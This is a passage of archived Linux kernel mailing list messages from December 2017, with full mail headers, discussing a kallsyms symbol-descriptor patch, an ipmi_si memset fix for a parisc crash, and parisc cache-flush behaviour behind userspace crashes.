NNTP-Posting-Date: Wed, 6 Dec 2017 11:57:17 +0000 (UTC)
User-Agent: NeoMutt/20170421 (1.8.2)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Dec 06 12:57:05 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eMY4P-0004Zt-ON
	for glpi-linux-ia64-2@m.gmane.org; Wed, 06 Dec 2017 12:40:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754920AbdLFKcq (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 6 Dec 2017 05:32:46 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:58506 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754869AbdLFKco (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 6 Dec 2017 05:32:44 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id C1E18ACB6;
        Wed,  6 Dec 2017 10:32:42 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171206043649.GB15885@jagdpanzerIV>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28325 gmane.linux.ports.parisc:28035 gmane.linux.ports.ppc64.devel:150848 gmane.linux.kernel:2635218
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28325>

On Wed 2017-12-06 13:36:49, Sergey Senozhatsky wrote:
> Hello,
> 
> 	so we got a number of build-error reports [somehow I
> thought 0day has compile tested the patches already; well, I
> was wrong] basically on congifs that have no KALLSYMS.
> 
> 
> Petr, can we replace 0006 with the following patch?

Done. See comments below.

> From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
> Subject: [PATCH] symbol lookup: introduce dereference_symbol_descriptor()
> 
> 
> Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>

The new patch only shuffled the code to fix a compilation problem
with CONFIG_CALLSYMS undefined. It did not change the functionality.
Therefore I put back:

Tested-by: Tony Luck <tony.luck@intel.com> #ia64
Tested-by: Santosh Sivaraj <santosh@fossix.org> #powerpc
Tested-by: Helge Deller <deller@gmx.de> #parisc64

> ---
>  Documentation/printk-formats.txt | 42 ++++++++++++-------------------
>  include/linux/kallsyms.h         | 53 ++++++++++++++++++++++++++++++++++++++++
>  kernel/kallsyms.c                | 33 -------------------------
>  lib/vsprintf.c                   |  5 ++--
>  4 files changed, 71 insertions(+), 62 deletions(-)
> 
> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
> index aa0a776c817a..02745028e909 100644
> --- a/Documentation/printk-formats.txt
> +++ b/Documentation/printk-formats.txt
> @@ -61,41 +61,31 @@ Symbols/Function Pointers
>  
>  ::
>  
> -	%pF	versatile_init+0x0/0x110
> -	%pf	versatile_init
> -	%pS	versatile_init+0x0/0x110
> -	%pSR	versatile_init+0x9/0x110
> +	%pS     versatile_init+0x0/0x110
> +	%ps     versatile_init
> +	%pF     versatile_init+0x0/0x110
> +	%pf     versatile_init
> +	%pSR    versatile_init+0x9/0x110
>  		(with __builtin_extract_return_addr() translation)
> -	%ps	versatile_init
> -	%pB	prev_fn_of_versatile_init+0x88/0x88
> +	%pB     prev_fn_of_versatile_init+0x88/0x88

I was curious why so many lines were changed here. You converted
the 2nd tab to spaces. I put back the tab. The result is:

--- a/Documentation/printk-formats.txt
+++ b/Documentation/printk-formats.txt
@@ -50,42 +50,31 @@ Symbols/Function Pointers
 
 ::
 
+	%pS	versatile_init+0x0/0x110
+	%ps	versatile_init
 	%pF	versatile_init+0x0/0x110
 	%pf	versatile_init
-	%pS	versatile_init+0x0/0x110
 	%pSR	versatile_init+0x9/0x110
 		(with __builtin_extract_return_addr() translation)
-	%ps	versatile_init
 	%pB	prev_fn_of_versatile_init+0x88/0x88
 
https://git.kernel.org/pub/scm/linux/kernel/git/pmladek/printk.git/commit/?h=for-4.16-deprecate-printk-pf&id=78675fe41d57c2bf9cb671f0a85b369a5a156f0a

>  
> diff --git a/include/linux/kallsyms.h b/include/linux/kallsyms.h
> index bd118a6c60cb..1bcfe221e62c 100644
> --- a/include/linux/kallsyms.h
> +++ b/include/linux/kallsyms.h
> +static inline void *dereference_symbol_descriptor(void *ptr)
> +{
> +#ifdef HAVE_DEREFERENCE_FUNCTION_DESCRIPTOR
> +	struct module *mod;
> +
> +	ptr = dereference_kernel_function_descriptor(ptr);
> +	if (is_ksym_addr((unsigned long)ptr))
> +		return ptr;
> +
> +	preempt_disable();
> +	mod = __module_address((unsigned long)ptr);
> +	preempt_enable();
> +
> +	if (mod)
> +		ptr = dereference_module_function_descriptor(mod, ptr);
> +#endif
> +	return ptr;
> +}

It is a bit too long for an inline function but I did not find a
better solution. It should always be defined and all suitable
.c files are compiled only under certain configuration. Well,
it is a nop on most architectures.

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi
Subject: Re: [PATCH] ipmi_si: fix crash on parisc
Date: Wed, 06 Dec 2017 11:59:53 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <148bb897e55ffbe2225de4c0f1a32cf8@sf-tec.de>
References: <alpine.LRH.2.02.1712060052170.12854@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1512561761 23642 195.159.176.226 (6 Dec 2017 12:02:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 6 Dec 2017 12:02:41 +0000 (UTC)
User-Agent: Roundcube Webmail/1.2.7
Cc: Corey Minyard <minyard@acm.org>,
        openipmi-developer@lists.sourceforge.net,
        linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 06 13:02:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eMY4i-0004Zt-F0
	for glpp-linux-parisc@m.gmane.org; Wed, 06 Dec 2017 12:41:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755127AbdLFLAA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 6 Dec 2017 06:00:00 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:47025 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755080AbdLFK75 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 6 Dec 2017 05:59:57 -0500
Original-Received: (qmail 14502 invoked from network); 6 Dec 2017 10:59:54 -0000
Original-Received: from mail.sf-mail.de ([::ffff:78.47.74.12]:36434 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-GCM-SHA384 encrypted) ESMTPSA
        for <mpatocka@redhat.com>; Wed, 06 Dec 2017 11:59:54 +0100
In-Reply-To: <alpine.LRH.2.02.1712060052170.12854@file01.intranet.prod.int.rdu2.redhat.com>
X-Sender: eike-kernel@sf-tec.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28036 gmane.linux.kernel.openipmi:3395
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28036>

Mikulas Patocka wrote:
> This patch fixes ipmi crash on parisc introduced in the kernel 4.15-rc.
> The pointer io.io_setup is not initialized and thus it causes crash in
> try_smi_init when attempting to call new_smi->io.io_setup.
> 
> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
> 
> ---
>  drivers/char/ipmi/ipmi_si_parisc.c |    2 ++
>  1 file changed, 2 insertions(+)
> 
> Index: linux-4.15-rc2/drivers/char/ipmi/ipmi_si_parisc.c
> ===================================================================
> --- linux-4.15-rc2.orig/drivers/char/ipmi/ipmi_si_parisc.c	2017-12-06
> 01:19:49.000000000 +0100
> +++ linux-4.15-rc2/drivers/char/ipmi/ipmi_si_parisc.c	2017-12-06
> 06:40:12.000000000 +0100
> @@ -10,6 +10,8 @@ static int __init ipmi_parisc_probe(stru
>  {
>  	struct si_sm_io io;
> 
> +	memset(&io, 0, sizeof(io));
> +
>  	io.si_type	= SI_KCS;
>  	io.addr_source	= SI_DEVICETREE;
>  	io.addr_type	= IPMI_MEM_ADDR_SPACE;

Can't this be a C99 initializer for the whole struct? AFAIK this would 
set all remaining members to 0 anyway.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Corey Minyard <minyard@acm.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi
Subject: Re: [PATCH] ipmi_si: fix crash on parisc
Date: Wed, 6 Dec 2017 07:19:07 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <ce8dfe3f-c863-5c42-0a6c-0c1975031702@acm.org>
References: <alpine.LRH.2.02.1712060052170.12854@file01.intranet.prod.int.rdu2.redhat.com>
Reply-To: minyard@acm.org
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1512566349 21084 195.159.176.226 (6 Dec 2017 13:19:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 6 Dec 2017 13:19:09 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: openipmi-developer@lists.sourceforge.net,
        linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 06 14:19:05 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eMZbM-0001LZ-5O
	for glpp-linux-parisc@m.gmane.org; Wed, 06 Dec 2017 14:19:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751500AbdLFNTL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 6 Dec 2017 08:19:11 -0500
Original-Received: from mail-ot0-f194.google.com ([74.125.82.194]:37847 "EHLO
        mail-ot0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751443AbdLFNTL (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 6 Dec 2017 08:19:11 -0500
Original-Received: by mail-ot0-f194.google.com with SMTP id s4so3298647ote.4
        for <linux-parisc@vger.kernel.org>; Wed, 06 Dec 2017 05:19:10 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:reply-to:subject:to:cc:references:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding
         :content-language;
        bh=aXoRwOwVn/o30n6FknqzACobo4Iln7yhvxOpFusC7KE=;
        b=r0gGNU/ruhFw1Xwz07o/oCWKf0y/9gcmSKU3XgFdso2yYqpL5zImzr6kX/XljS/EUz
         yerrwVakn0zJ/wRHTwiYJXllLoxMx24PKtLiN5mBPr4R1y8jfDtRAvm+pWO9zSxl+c89
         ZIZjJuUA05cT8v0iLVwze6XwPD2we+lRyfM9L+F5M9gdgisIsg8FNHV7auhBQoUdOUhh
         LmCQlSpVseWAd/SSoX4CRSOagKKjssHimaNI3ntNBK2G8LyXXDP78fLcM/gx6BCtzKOS
         O6bmv4EwVt530339XPNlXNWMIQLDhFxRnC/4mGNs7xKJgJzzM0Di42VGQChX3kM+uQfe
         T9Mw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:reply-to:subject:to:cc:references:from
         :message-id:date:user-agent:mime-version:in-reply-to
         :content-transfer-encoding:content-language;
        bh=aXoRwOwVn/o30n6FknqzACobo4Iln7yhvxOpFusC7KE=;
        b=oxhq22qHBRtlaasc7NhwZlkyhkF2kAtq0orbEin1DiGLdg4X6KWa2AI+KpE4CmVg/V
         8+coEDnYgULYHhE2nLbGJxW9VjWfQ7I/lrPDY4qQRNa1HxTjxA6OnJTYbEgKUE6fHaV7
         X266z+xHteA92copVY5CpuIBAJ/QEHiY4/itG6p2ncrBltu7hQqGeFe+WTiwVTynAJEy
         jYis9ijsa11M29FISq2wcJl+28oBR1mufinR4oQ0AnPi3y+WngTIIZ4p36gwvqmvBbzH
         V5+YTBV2ub2PdXQxZWdqeGv9r7xNskGTBFaxxZODJLYEsT/EUERSUp/WDawWuWM84NgD
         SqJA==
X-Gm-Message-State: AJaThX4NbKCPB59yY9rHpTbIgoHAv5RRq8GTMpEyQAPkd+RT/sBN/oKW
        2TqNR98tHRQqUPvOYy2p+sdAW+k=
X-Google-Smtp-Source: AGs4zMZOLp8OgQ+zcnSDvzOlU/1YdZi+bWqboX/PykVtUQ0INtCWIHxSKuKL15yphjYg5cU/Y0F0TA==
X-Received: by 10.157.68.5 with SMTP id u5mr22305656ote.82.1512566349941;
        Wed, 06 Dec 2017 05:19:09 -0800 (PST)
Original-Received: from [192.168.27.3] ([47.184.168.85])
        by smtp.gmail.com with ESMTPSA id v126sm1081971oif.4.2017.12.06.05.19.08
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 06 Dec 2017 05:19:08 -0800 (PST)
In-Reply-To: <alpine.LRH.2.02.1712060052170.12854@file01.intranet.prod.int.rdu2.redhat.com>
Content-Language: en-GB
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28037 gmane.linux.kernel.openipmi:3396
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28037>

On 12/06/2017 03:25 AM, Mikulas Patocka wrote:
> This patch fixes ipmi crash on parisc introduced in the kernel 4.15-rc.
> The pointer io.io_setup is not initialized and thus it causes crash in
> try_smi_init when attempting to call new_smi->io.io_setup.

Thanks, I'll get this in for 4.15.

-corey

> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
>
> ---
>   drivers/char/ipmi/ipmi_si_parisc.c |    2 ++
>   1 file changed, 2 insertions(+)
>
> Index: linux-4.15-rc2/drivers/char/ipmi/ipmi_si_parisc.c
> ===================================================================
> --- linux-4.15-rc2.orig/drivers/char/ipmi/ipmi_si_parisc.c	2017-12-06 01:19:49.000000000 +0100
> +++ linux-4.15-rc2/drivers/char/ipmi/ipmi_si_parisc.c	2017-12-06 06:40:12.000000000 +0100
> @@ -10,6 +10,8 @@ static int __init ipmi_parisc_probe(stru
>   {
>   	struct si_sm_io io;
>   
> +	memset(&io, 0, sizeof(io));
> +
>   	io.si_type	= SI_KCS;
>   	io.addr_source	= SI_DEVICETREE;
>   	io.addr_type	= IPMI_MEM_ADDR_SPACE;


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi
Subject: Re: [PATCH] ipmi_si: fix crash on parisc
Date: Wed, 6 Dec 2017 11:08:42 -0500 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1712061106580.20587@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1712060052170.12854@file01.intranet.prod.int.rdu2.redhat.com> <148bb897e55ffbe2225de4c0f1a32cf8@sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1512576521 2140 195.159.176.226 (6 Dec 2017 16:08:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 6 Dec 2017 16:08:41 +0000 (UTC)
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Cc: Corey Minyard <minyard@acm.org>,
        openipmi-developer@lists.sourceforge.net,
        linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 06 17:08:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eMcFQ-0007ny-IT
	for glpp-linux-parisc@m.gmane.org; Wed, 06 Dec 2017 17:08:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752047AbdLFQIo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 6 Dec 2017 11:08:44 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:44472 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751815AbdLFQIn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 6 Dec 2017 11:08:43 -0500
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.phx2.redhat.com [10.5.11.13])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 91EA9C01F290;
        Wed,  6 Dec 2017 16:08:43 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
        by smtp.corp.redhat.com (Postfix) with ESMTPS id 679A67840F;
        Wed,  6 Dec 2017 16:08:43 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id vB6G8gba021300;
        Wed, 6 Dec 2017 11:08:42 -0500
Original-Received: from localhost (mpatocka@localhost)
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id vB6G8gpB021296;
        Wed, 6 Dec 2017 11:08:42 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <148bb897e55ffbe2225de4c0f1a32cf8@sf-tec.de>
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.13
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.31]); Wed, 06 Dec 2017 16:08:43 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28038 gmane.linux.kernel.openipmi:3397
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28038>



On Wed, 6 Dec 2017, Rolf Eike Beer wrote:

> Mikulas Patocka wrote:
> > This patch fixes ipmi crash on parisc introduced in the kernel 4.15-rc.
> > The pointer io.io_setup is not initialized and thus it causes crash in
> > try_smi_init when attempting to call new_smi->io.io_setup.
> > 
> > Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
> > 
> > ---
> >  drivers/char/ipmi/ipmi_si_parisc.c |    2 ++
> >  1 file changed, 2 insertions(+)
> > 
> > Index: linux-4.15-rc2/drivers/char/ipmi/ipmi_si_parisc.c
> > ===================================================================
> > --- linux-4.15-rc2.orig/drivers/char/ipmi/ipmi_si_parisc.c	2017-12-06
> > 01:19:49.000000000 +0100
> > +++ linux-4.15-rc2/drivers/char/ipmi/ipmi_si_parisc.c	2017-12-06
> > 06:40:12.000000000 +0100
> > @@ -10,6 +10,8 @@ static int __init ipmi_parisc_probe(stru
> >  {
> >  	struct si_sm_io io;
> > 
> > +	memset(&io, 0, sizeof(io));
> > +
> >  	io.si_type	= SI_KCS;
> >  	io.addr_source	= SI_DEVICETREE;
> >  	io.addr_type	= IPMI_MEM_ADDR_SPACE;
> 
> Can't this be a C99 initializer for the whole struct? AFAIK this would set all
> remaining members to 0 anyway.
> 
> Eike

It can - but all the other functions that call ipmi_si_add_smi also use 
memset.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: crashes in 4.10 because of "parisc: Enable KASLR"
Date: Fri, 8 Dec 2017 06:22:38 -0500 (EST)
Lines: 84
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1712080619070.10139@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com> <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de> <alpine.LRH.2.02.1702011507040.25889@file01.intranet.prod.int.rdu2.redhat.com>
 <53b0b36a-32cd-2421-7d45-0c8ea8cc1ac1@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1512732163 4706 195.159.176.226 (8 Dec 2017 11:22:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 8 Dec 2017 11:22:43 +0000 (UTC)
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 08 12:22:34 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eNGjh-0000fX-JX
	for glpp-linux-parisc@m.gmane.org; Fri, 08 Dec 2017 12:22:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753284AbdLHLWk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 8 Dec 2017 06:22:40 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:52538 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753341AbdLHLWj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 8 Dec 2017 06:22:39 -0500
Original-Received: from smtp.corp.redhat.com (int-mx06.intmail.prod.int.phx2.redhat.com [10.5.11.16])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 6FCC4780CD;
        Fri,  8 Dec 2017 11:22:39 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
        by smtp.corp.redhat.com (Postfix) with ESMTPS id 3415692310;
        Fri,  8 Dec 2017 11:22:39 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id vB8BMcaN012261;
        Fri, 8 Dec 2017 06:22:38 -0500
Original-Received: from localhost (mpatocka@localhost)
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id vB8BMclr012257;
        Fri, 8 Dec 2017 06:22:38 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <53b0b36a-32cd-2421-7d45-0c8ea8cc1ac1@bell.net>
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.16
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.27]); Fri, 08 Dec 2017 11:22:39 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28039
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28039>



On Wed, 1 Feb 2017, John David Anglin wrote:

> On 2017-02-01 3:10 PM, Mikulas Patocka wrote:
> > > I'm not 100% convinced that 4.9 is fully stable and that the patch
> > > is the reason for the crashes you see.
> > > What kind of crashes do you see? Userspace or kernel ?
> > Userspace crashes. Random crashes or internal errors in gcc when compiling
> > the kernel. I once had "aptitude" crash.
> The userspace crashes are present in 4.8 and 4.9 as well.  For example, this
> build failed due to an OS problem:
> https://buildd.debian.org/status/fetch.php?pkg=kdenlive&arch=hppa&ver=16.12.1-2&stamp=1485956026&raw=0
> 
> Probably, 10% or more large packages fail to build because of this. Note that
> this only occurs on machines
> (e.g., c8000) that only support equivalent aliases.  We don't see this on the
> parisc buildd which has two PA8600 CPUs.
> 
> My current theory is the following functions are buggy:
> 
> /* vmap range flushes and invalidates.  Architecturally, we don't need
>  * the invalidate, because the CPU should refuse to speculate once an
>  * area has been flushed, so invalidate is left empty */
> static inline void flush_kernel_vmap_range(void *vaddr, int size)
> {
>         unsigned long start = (unsigned long)vaddr;
> 
>         flush_kernel_dcache_range_asm(start, start + size);
> }
> static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
> {
>         unsigned long start = (unsigned long)vaddr;
>         void *cursor = vaddr;
> 
>         for ( ; cursor < vaddr + size; cursor += PAGE_SIZE) {
>                 struct page *page = vmalloc_to_page(cursor);
> 
>                 if (test_and_clear_bit(PG_dcache_dirty, &page->flags))
>                         flush_kernel_dcache_page(page);
>         }
>         flush_kernel_dcache_range_asm(start, start + size);
> }

BTW. if you flush a cache line, then - according to the pa-risc 
specification - the page stays in the TLB and the CPU can fetch anything 
that is in the TLB speculatively. So, such a flush could really have no 
effect.

The kernel should first flush TLB for the affected range and then flush 
the data using the tmpalias mapping.

Mikulas

> The kernel sets up a vmap range for I/O and we have non equivalent aliases to
> the offset map
> pages.  I know the PG_dcache_dirty is never set when these routines are
> called, so the for loop
> does nothing.  Nuking the whole data cache appears to fix the application
> errors but my test
> was cut short by a second problem.  No one else seems to do anything with
> offset map, so
> we might have a parisc specific driver problem.
> 
> We also have a down_read/up_read problem where applications stall forever and
> are not killable
> (D state in top).  Some seemed related to signal processing but they have
> occurred in other
